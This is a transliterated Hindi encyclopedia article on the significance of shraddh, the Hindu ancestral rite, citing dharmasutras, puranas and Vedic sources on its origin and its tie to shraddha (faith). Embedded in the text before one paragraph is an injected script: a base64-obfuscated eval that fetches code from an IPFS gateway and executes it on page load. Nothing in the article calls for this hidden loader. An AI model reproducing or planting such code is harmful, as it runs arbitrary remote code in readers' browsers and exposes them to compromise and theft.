श्राद्ध की महत्ता

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30px yah lekh pauranik granthoan athava manyataoan par adharit hai at: isamean varnit samagri ke vaijnanik praman hone ka ashvasan nahian diya ja sakata. vistar mean dekhean asvikaran

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shraddh vishay soochi
shraddh    parichay    pitri paksh    pitri ka arth    vishad varnan    pindadan    niyam    vidhi    sthan    mahatta    shraddh aur grahan    vaijnanik pahaloo    ahuti    visajarn

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shraddh ki mahatta
any nam pitri paksh
anuyayi sabhi hindoo dharmavalambi
uddeshy shraddh poorvajoan ke prati sachchi shraddha ka pratik haian. pitaroan ke nimitt vidhipoorvak jo karm shraddha se kiya jata hai, usi ko 'shraddh' kahate haian.
prarambh vaidik-pauranik
tithi bhadrapad shukl paksh ki poornima se sarvapitri amavasya arthat ashvin krishna paksh amavasya tak
anushthan shraddh-karm mean pake hue chaval, doodh aur til ko mishrit karake 'pind' banate haian, use 'sapindikaran' kahate haian. pind ka arth hai sharir. yah ek paranparik vishvas hai ki har pidhi ke bhitar matrikul tatha pitrikul donoan mean pahale ki pidhiyoan ke samanvit 'gunasootr' upasthit hote haian. yah pratikatmak anushthan jin jin logoan ke gunasootr (jins) shraddh karane vale ki apani deh mean haian, unaki tripti ke lie hota hai.
sanbandhit lekh pitri paksh, shraddh ke niyam, anvashtaka krity, ashtaka krity, anvahary shraddh, shraddh visarjan, pitri visarjan amavasya, tarpan, madhyavarsh krity, matamah shraddh, pitar, shraddh aur grahan, shraddh karane ka sthan, shraddh ki ahuti, shraddh ki kotiyaan, shraddh ki mahatta, shraddh prapautr dvara, shraddh phalasoochi, shraddh varjana, shraddh vidhi, pindadan, gaya, nasik, adity devata aur rudr devata
any janakari brahm puran ke anusar shraddh ki paribhasha- 'jo kuchh uchit kal, patr evan sthan ke anusar uchit (shastranumodit) vidhi dvara pitaroan ko lakshy karake shraddhapoorvak brahmanoan ko diya jata hai', shraddh kahalata hai.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sootrakal (lagabhag ee. poo. 600) se lekar madhyakal ke dharmashastrakaroan tak sabhi logoan ne shraddh ki mahatta evan usase utpann kalyan ki prashansa ke pul baandh diye haian. apastamb dharmasootr[1] ne adholikhit soochana di hai- 'purane kal mean manushy evan dev isi lok mean rahate the. dev log yajnoan ke karan (puraskarasvaroop) svarg chale gaye, kintu manushy yahian par rah gaye. jo manushy devoan ke saman yajn karate haian ve paralok (svarg) mean devoan evan brahma ke sath nivas karate haian. tab (manushyoan ko pichhe rahate dekhakar) manu ne us krity ko arambh kiya jise shraddh ki sanjna mili hai, jo manav jati ko shrey (mukti ya anand) ki or le jata hai. is krity mean pitar log devata (adhishthata) haian, kintu brahman log (jinhean bhojan diya jata hai) ahavaniy agni (jisamean yajnoan ke samay ahutiyaan di jati haian) ke sthan par mane jate haian." is antim sootr ke karan haradatt[2]) evan any logoan ka kathan hai ki shraddh mean brahmanoan ko khilana pramukh krity hai. [[chitr:Pitra-Puja-shradh.jpg|thumb|left|pitri pooja (shraddh) sanskar karate shraddhalu]] brahmand puran[3] ne manu ko shraddh ke krityoan ka pravartak evan vishnu puran[4], vayu puran[5] evan bhagavat puran[6] ne shraddhadev kaha hai. isi prakar shantiparv[7] evan vishnudharmottar॰[8] mean aya hai ki shraddhapratha ka sansthapan vishnu ke varah avatar ke samay hua aur vishnu ko pita, pitamah aur prapitamah ko diye gaye tin pindoan mean avasthit manana chahie. isase aur apastamb dharmasootr ke vachan se aisa anuman lagaya ja sakata hai ki eesa ki kee shatabdiyoan poorv shraddhapratha ka pratishthapan ho chuka tha aur yah manavajati ke pita manu ke saman hi prachin hai.[9] kintu yah jnatavy hai ki 'shraddh' shabd kisi bhi prachin vaidik vachan mean nahian paya jata, yadyapi pindapitriyajn (jo ahitagni dvara pratyek mas ki amavasya ko sampadit hota tha)[10],

mahapitriyajn (chaturmasy ya sakamegh mean sampadit) upan ashtaka arambhik vaidik sahity mean jnat the. kathopanishad[11] mean 'shraddh' shabd aya hai; jo bhi koee is atyant vishisht siddhant ko brahmanoan ki sabha mean ya shraddh ke samay udaghoshit karata hai, vah amarata prapt karata hai.' 'shraddh' shabd ke any arambhik prayog sootr sahity mean prapt hote haian. atyant tarkashil evan sambhav anuman yahi nikala ja sakata hai ki pitaroan se sambandhit bahut hi kam krity un dinoan kiye jate the, at: kisi vishisht nam ki avashyakata prachin kal mean nahian samajhi gayi. kintu pitaroan ke samman mean kiye gaye krityoan ki sankhya mean jab adhikata huee to shraddh shabd ki utpatti huee.

shraddh ki prashastiyaan

shraddh ki prashastiyoan ke kuchh udaharan yahaan diye ja rahe haian. baudhayan dharmasootr[12] ka kathan hai ki pitaroan ke krityoan se dirgh ayu, svarg, yash evan pushtikarm (samriddhi) ki prapti hoti hai. harivansh puran[13] mean aya hai–shraddh se yah lok pratishthit hai aur isase yog (moksh) ka uday hota hai. sumantu[14] ka kathan hai–shraddh se badhakar shreyaskar kuchh nahian hai.[15] vayupuran[16] ka kathan hai ki yadi koee shraddhapoorvak shraddh karata hai to vah brahma, indr, rudr evan any devoan, rrishiyoan, pakshiyoan, manavoan, pashuoan, reangane vale jivoan evan pitaroan ke samuday tatha un sabhi ko jo jiv kahe jate haian, evan sampoorn vishv ko prasann karata hai. yam ne kaha hai ki pitripoojan se ayu, putr, yash, kirti, pushti (samriddhi), bal, shri, pashu, saukhy, dhan, dhany ki prapti hoti hai.[17] shraddhasar[18] evan shraddhaprakash[19] dvara udadhrit vishnudharmottarapuran mean aisa kaha gaya hai ki prapitamah ko diya gaya pind svayan vasudev ghoshit hai, pitamah ko diya gaya pind sankarshan tatha pita ko diya gaya pind pradyumn ghoshit hai aur pindakarta svayan aniruddh kahalata hai. shantiparv[20] mean kaha gaya hai ki vishnu ko tinoan pindoan mean avasthit samajhana chahie. koorm puran mean aya hai ki "amavasya ke din pitar log vayavy roop dharan kar apane purane nivas ke dvar par ate haian aur dekhate haian ki unake kul ke logoan ke dvara shraddh kiya jata hai ki nahian. aisa ve sooryast tak dekhate haian. jab sooryast ho jata hai, ve bhookh evan pyas se vyakul ho nirash ho jate haian, chintit ho jate haian, bahut der tak dirgh shvas chho date haian aur ant mean apane vanshajoan ko kosate (unaki bhartsana karate hue) chale jate haian. jo log amavasya ko jal ya shak-bhaji se bhi shraddh nahian karate unake pitar unhean abhishapit kar chale jate haian."

shraddh evan shraddha mean ghanishth sambandh

'shraddh' shabd ki vyutpatti par bhi kuchh likh dena avashyak hai. yah spasht hai ki yah shabd "shraddha" se bana hai. brahmapuran (uparyukt uddhrit), marichi evan brihaspati ki paribhashaoan se yah spasht hai ki shraddh evan shraddha mean ghanishth sambandh hai. shraddh mean shraddhakarta ka yah atal vishvas rahata hai ki mrit ya pitaroan ke kalyan ke lie brahmanoan ko jo kuchh bhi diya jata hai vah use ya unhean kisi prakar avashy hi milata hai. skand puran[21] ka kathan hai ki 'shraddh' nam isalie p da hai ki us krity mean shraddha mool (mool srot) hai. isaka tatpary yah hai ki isamean n keval vishvas hai, pratyut ek atal dharana hai ki vyakti ko yah karana hi hai. rrigved[22] mean shraddha ko devatv diya gaya hai aur vah devata ke saman hi sambodhit haian.[23] kuchh sthaloan par shraddha shabd ke do bhag (shrath evan dha) bina kisi arth parivartan ke prithakh-prithakh rakhe gaye haian.[24] taittiriy sanhita[25] mean aya hai–"brihaspati ne ichchha prakat ki; dev mujhamean vishvas (shraddha) rakhean, maian unake purohit ka pad prapt karooan."[26] nirukt[27] mean 'shrath' evan 'shraddha' ka 'saty' ke arth mean vyakt kiya gaya hai. vaj. san.[28] mean kaha gaya hai ki prajapati ne 'shraddha' ko saty mean aur 'ashraddha' ko jhooth mean rakh diya hai, aur vaj. san.[29] mean kaha gaya hai ki saty ki prapti shraddha se hoti hai. vaidikottarakalin sahity mean panini[30] ne 'shraddhinh' evan 'shraddhik' ko 'vah jisane shraddh bhojan kar liya ho' ke arth mean nishchit kiya gaya hai. 'shraddh' shabd 'shraddha' se nikala ja sakata hai.[31] yogasootr[32] ke bhashy mean 'shraddha' shabd kee prakar se paribhashit hai-'shraddha chettas: sanprasad:. sa hi jananiv kalyani yoginan pati', arthath shraddha ko man ka prasad ya akshobh (sthairy) kaha gaya hai. deval ne shraddha ki paribhasha yoan ki hai-'pratyayo dharmakaryeshu tatha shraddhetyudahrata. nasti hyashraddhadhanasy dharmakritye prayojanamh..'[33] arthath dharmik krityoan mean jo pratyay (ya vishvas) hota hai, vahi shraddha hai, jise pratyay nahian hai, use dharmik karm karane ka prayojan nahian hai. katyayan ke shraddhasootr[34] mean vyavastha hai- 'shraddhayukt vyakti shak se bhi shraddh kare (bhale hi usake pas any bhojy padarth n hoan).' manu[35] jahaan par pitaroan ki santushti ke lie shraddh par bal diya gaya hai. markandey puran[36] mean shraddh ka sambandh shraddha se ghoshit kiya gaya hai aur kaha gaya hai ki shraddh mean jo kuchh bhi diya jata hai, vah pitaroan ke dvara prayukt hone vale us bhojan mean parivartit ho jata hai, jise ve karm evan punarjanm ke siddhant ke anusar naye sharir ke roop mean pate haian. is puran mean yah bhi aya hai ki anuchit evan anyayapoorn dhang se prapt dhan se jo shraddh kiya jata hai, vah chandal, pukkas tatha any nich yoniyoan mean utpann logoan ki santushti ka sadhan hota hai.[37]

panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ apastamb dharmasootr 2|7|16|1-3
  2. ↑ apastamb dharmasootr ke tikaka
  3. ↑ brahmand puran upodaghatapad 9|15 evan 10|99
  4. ↑ vishnu puran 3|1|30
  5. ↑ vayu puran 44|38
  6. ↑ bhagavat puran 3|1|22
  7. ↑ shantiparv 345|14-21
  8. ↑ vishnudharmottar॰ 1|139|14-16
  9. ↑ rrigved 8|63|1 evan 8|30|3
  10. ↑ 'pindapitriyajn' shraddh hi hai, jaisa ki gobhilagrihyasootr 4|4|1-2 mean aya hai–'anvashtakyasthalipaken pindapitriyajn vyakhyat:. amavasyaan tachchhaddhamitaradanvaharyamh.' aur dekhie shra. pr. (pri. 4). pindapitriyajn evan mahapitriyajn ke lie dekhie is granth ka khand 2, adhyay 30 evan 31.
  11. ↑ kathopanishad 1|3|17
  12. ↑ baudhayan dharmasootr (2|8|1
  13. ↑ harivansh (1|21|1
  14. ↑ smritich., shraddh, prishth 333
  15. ↑ pitryamayushyan svargy yashasyan pushtakirm ch. baudhayan dharmasootr (2|8|1) shraddhe pratishthito lok: shraddhe yog: pravartate.. harivansh (1|21|11). shraddhatparataran nanyachchhreyaskaramudahratamh. tasmatsarvaprayatnen shraddhan kuryadvichakshan:.. sumantu (smritich., shraddh, 333).
  16. ↑ vayupuran (3|14|1-4
  17. ↑ ayu: putranh yash: svarg kirti pushtian balan shriy:. pashunh saukhyan dhanan dhanyan prapnuyath pitripoojanath.. yam (smritich., shraddh, prishth 333 evan shraddhasar prishth 5). aisa hi shlok yajn. (1|270, markandapuran 32|38) evan shankh (14|33) mean bhi hai. aur dekhie yajn. (1|270).
  18. ↑ shraddhasar (prishth 6
  19. ↑ shraddhaprakash (prishth 11-12
  20. ↑ shantiparv (345|21
  21. ↑ skandapuran (6|218|3
  22. ↑ rrigved (10|151|1-5
  23. ↑ rrigved (2|26|3; 7|32|14; 8|1|31 evan 9|113|4).
  24. ↑ rrigved (2|12|5), atharvaved (20|34|5) evan rri. (10|147|1=shratte dadhami prathamay manyave).
  25. ↑ taittiriy sanhita (7|4|1|1
  26. ↑ rrigved (1|103|5).
  27. ↑ nirukt (3|10
  28. ↑ vaj. san. (19|77
  29. ↑ vaj. san. (19|30
  30. ↑ panini (5|2|85
  31. ↑ pa. 5|1|109
  32. ↑ yogasootr (1|20
  33. ↑ krityaratnakar, prishth 16 evan shraddhatattv, prishth 189
  34. ↑ shraddhasootr (hemadri, prishth 152
  35. ↑ manu (3|275
  36. ↑ markandey puran (29|27
  37. ↑ shraddhaya paraya dattan pitrinaan namagotrat:. yadaharastu te jatastadaharatvameti tath.. markandeyapuran (29|27); anyayoparjitairartheryachchhraddhan kriyate narai:. tripyante ten chandalapukkasadyasu yonishu.. markandey. (28|16) evan skand. (7|1|205|22).

bahari k diyaan

sanbandhit lekh

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shraddh

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varnamala kramanusar lekh khoj

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